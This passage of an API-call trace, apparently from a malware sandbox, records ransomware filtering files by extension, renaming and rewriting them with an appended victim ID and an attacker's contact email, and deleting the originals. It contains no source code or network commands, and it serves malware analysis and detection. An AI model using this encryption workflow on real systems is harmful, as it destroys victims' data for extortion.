lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0206.245] lstrlenW (lpString=".xls") returned 4 [0206.245] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0206.245] lstrlenW (lpString=".xlsx") returned 5 [0206.245] lstrcmpiW (lpString1=".xlsx", lpString2="d.dll") returned -1 [0206.245] lstrlenW (lpString=".ppt") returned 4 [0206.245] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0206.245] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.245] lstrlenW (lpString=".zip") returned 4 [0206.245] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0206.245] lstrlenW (lpString=".rar") returned 4 [0206.245] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0206.245] lstrlenW (lpString=".bz2") returned 4 [0206.245] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0206.245] lstrlenW (lpString=".7z") returned 3 [0206.245] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0206.246] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.246] lstrlenW (lpString=".dbf") returned 4 [0206.246] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0206.246] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.246] lstrlenW (lpString=".1cd") returned 4 [0206.246] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0206.246] lstrlenW (lpString="C:\\Boot\\bootvhd.dll") returned 19 [0206.246] lstrlenW (lpString=".jpg") returned 4 [0206.246] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0206.246] lstrcmpiW (lpString1=".mui", lpString2=".save") returned -1 [0206.246] lstrlenW (lpString="bootmgr.exe.mui") returned 15 [0206.246] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x308 [0206.247] GetFileSizeEx (in: hFile=0x308, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=76632) returned 1 [0206.247] CloseHandle (hObject=0x308) returned 1 [0206.247] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui")) returned 0x20 [0206.247] GetFileAttributesW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0206.247] CreateFileW (lpFileName="C:\\Boot\\cs-CZ\\bootmgr.exe.mui" (normalized: "c:\\boot\\cs-cz\\bootmgr.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0206.247] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0206.247] lstrlenW (lpString=".doc") returned 4 [0206.247] lstrcmpiW (lpString1=".doc", lpString2=".mui") returned -1 [0206.247] lstrlenW (lpString=".docx") returned 5 [0206.247] lstrcmpiW (lpString1=".docx", lpString2="e.mui") returned -1 [0206.247] lstrlenW (lpString=".pdf") returned 4 [0206.247] lstrcmpiW (lpString1=".pdf", lpString2=".mui") returned 1 [0206.247] lstrlenW (lpString=".xls") returned 4 [0206.247] lstrcmpiW (lpString1=".xls", lpString2=".mui") returned 1 [0206.247] lstrlenW (lpString=".xlsx") returned 5 [0206.248] lstrcmpiW (lpString1=".xlsx", lpString2="e.mui") returned -1 [0206.248] lstrlenW (lpString=".ppt") returned 4 [0206.248] lstrcmpiW (lpString1=".ppt", lpString2=".mui") returned 1 [0206.248] lstrlenW (lpString="C:\\Boot\\cs-CZ\\bootmgr.exe.mui") returned 29 [0206.248] lstrlenW (lpString=".zip") returned 4 [0206.248] lstrcmpiW (lpString1=".zip", lpString2=".mui") returned 1 [0206.248] lstrlenW (lpString=".rar") returned 4 [0206.248] lstrcmpiW (lpString1=".rar", lpString2=".mui") returned 1 [0206.248] lstrlenW (lpString=".bz2") returned 4 [0206.248] lstrcmpiW (lpString1=".bz2", lpString2=".mui") returned -1 [0206.248] lstrlenW (lpString=".7z") returned 3 [0206.248] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0206.257] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\chs_boot.ttf" (normalized: "c:\\boot\\fonts\\chs_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\chs_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\chs_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0206.259] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\cht_boot.ttf" (normalized: "c:\\boot\\fonts\\cht_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\cht_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\cht_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0206.261] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\jpn_boot.ttf" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\jpn_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\jpn_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0206.262] MoveFileW (lpExistingFileName="C:\\Boot\\Fonts\\kor_boot.ttf" (normalized: "c:\\boot\\fonts\\kor_boot.ttf"), lpNewFileName="C:\\Boot\\Fonts\\kor_boot.ttf.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\boot\\fonts\\kor_boot.ttf.id-b4197730.[seavays@aol.com].save")) returned 0 [0206.644] SetFileAttributesW (lpFileName="C:\\bootmgr", dwFileAttributes=0x26) returned 0 [0206.644] CreateFileW (lpFileName="C:\\bootmgr" (normalized: "c:\\bootmgr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.646] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0206.649] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.649] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0206.649] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppVIntegration.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvintegration.dll")) returned 1 [0206.652] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0206.653] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.653] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0206.653] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\AppvIsvSubsystems64.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\appvisvsubsystems64.dll")) returned 1 [0206.656] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0206.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.658] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0206.658] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso20win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso20win32client.dll")) returned 1 [0206.659] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0206.660] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.661] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0206.661] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso30win32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso30win32client.dll")) returned 1 [0206.663] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0206.664] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.664] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0206.664] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uires.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uires.dll")) returned 1 [0206.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save")) returned 1 [0206.667] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.667] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0206.667] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\mso40uiwin32client.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\mso40uiwin32client.dll")) returned 1 [0206.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seavays@aol.com].save")) returned 1 [0206.671] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0206.671] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0206.671] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe.id-b4197730.[seavays@aol.com].save"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeClickToRun.exe" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeclicktorun.exe")) returned 1 [0206.996] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\InkObj.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\inkobj.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0207.000] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\micaut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\micaut.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0207.002] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\mraut.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\mraut.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0207.006] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll"), lpNewFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\tabskb.dll.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\tabskb.dll.id-b4197730.[seavays@aol.com].save")) returned 0 [0207.020] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.020] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.020] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\scored-prices.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\common files\\scored-prices.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0207.022] GetLastError () returned 0x0 [0207.022] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x12800, lpOverlapped=0x0) returned 1 [0207.530] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0x12810, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0x12810, lpOverlapped=0x0) returned 1 [0207.533] ReadFile (in: hFile=0x34c, lpBuffer=0x3f05020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesRead=0x3a2fecc*=0x0, lpOverlapped=0x0) returned 1 [0207.533] WriteFile (in: hFile=0x350, lpBuffer=0x3f05020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x3a2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f05020*, lpNumberOfBytesWritten=0x3a2fc94*=0xf6, lpOverlapped=0x0) returned 1 [0207.534] SetEndOfFile (hFile=0x350) returned 1 [0207.535] CloseHandle (hObject=0x350) returned 1 [0207.535] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.535] SetEndOfFile (hFile=0x34c) returned 1 [0207.536] CloseHandle (hObject=0x34c) returned 1 [0207.536] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\scored-prices.exe.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x20) returned 1 [0207.536] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\scored-prices.exe" (normalized: "c:\\program files\\common files\\scored-prices.exe")) returned 1 [0207.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.537] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.537] lstrlenW (lpString=".doc") returned 4 [0207.537] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0207.538] lstrlenW (lpString=".docx") returned 5 [0207.538] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0207.538] lstrlenW (lpString=".pdf") returned 4 [0207.538] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0207.538] lstrlenW (lpString=".xls") returned 4 [0207.538] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0207.538] lstrlenW (lpString=".xlsx") returned 5 [0207.538] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0207.538] lstrlenW (lpString=".ppt") returned 4 [0207.538] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0207.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.538] lstrlenW (lpString=".zip") returned 4 [0207.538] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0207.538] lstrlenW (lpString=".rar") returned 4 [0207.538] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0207.538] lstrlenW (lpString=".bz2") returned 4 [0207.538] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0207.538] lstrlenW (lpString=".7z") returned 3 [0207.538] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0207.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.538] lstrlenW (lpString=".dbf") returned 4 [0207.538] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0207.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.538] lstrlenW (lpString=".1cd") returned 4 [0207.538] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0207.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.538] lstrlenW (lpString=".jpg") returned 4 [0207.538] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0207.538] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.539] lstrlenW (lpString=".doc") returned 4 [0207.539] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0207.539] lstrlenW (lpString=".docx") returned 5 [0207.539] lstrcmpiW (lpString1=".docx", lpString2="s.exe") returned -1 [0207.539] lstrlenW (lpString=".pdf") returned 4 [0207.539] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0207.539] lstrlenW (lpString=".xls") returned 4 [0207.539] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0207.539] lstrlenW (lpString=".xlsx") returned 5 [0207.539] lstrcmpiW (lpString1=".xlsx", lpString2="s.exe") returned -1 [0207.539] lstrlenW (lpString=".ppt") returned 4 [0207.539] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0207.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.539] lstrlenW (lpString=".zip") returned 4 [0207.539] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0207.539] lstrlenW (lpString=".rar") returned 4 [0207.539] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0207.539] lstrlenW (lpString=".bz2") returned 4 [0207.539] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0207.539] lstrlenW (lpString=".7z") returned 3 [0207.539] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0207.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.539] lstrlenW (lpString=".dbf") returned 4 [0207.539] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0207.539] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.539] lstrlenW (lpString=".1cd") returned 4 [0207.539] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0207.540] lstrlenW (lpString="C:\\Program Files\\Common Files\\scored-prices.exe") returned 47 [0207.540] lstrlenW (lpString=".jpg") returned 4 [0207.540] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0207.540] lstrcmpiW (lpString1=".exe", lpString2=".save") returned -1 [0207.540] lstrlenW (lpString="servertool.exe") returned 14 [0207.540] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.541] GetFileSizeEx (in: hFile=0x34c, lpFileSize=0x3a2ff14 | out: lpFileSize=0x3a2ff14*=16448) returned 1 [0207.541] CloseHandle (hObject=0x34c) returned 1 [0207.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe")) returned 0x20 [0207.541] GetFileAttributesW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0207.541] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x34c [0207.541] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.541] SetFilePointerEx (in: hFile=0x34c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a2fec0 | out: lpNewFilePointer=0x0) returned 1 [0207.541] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\servertool.exe.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\servertool.exe.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350 [0207.542] GetLastError () returned 0x0 [0207.542] ReadFile (in: 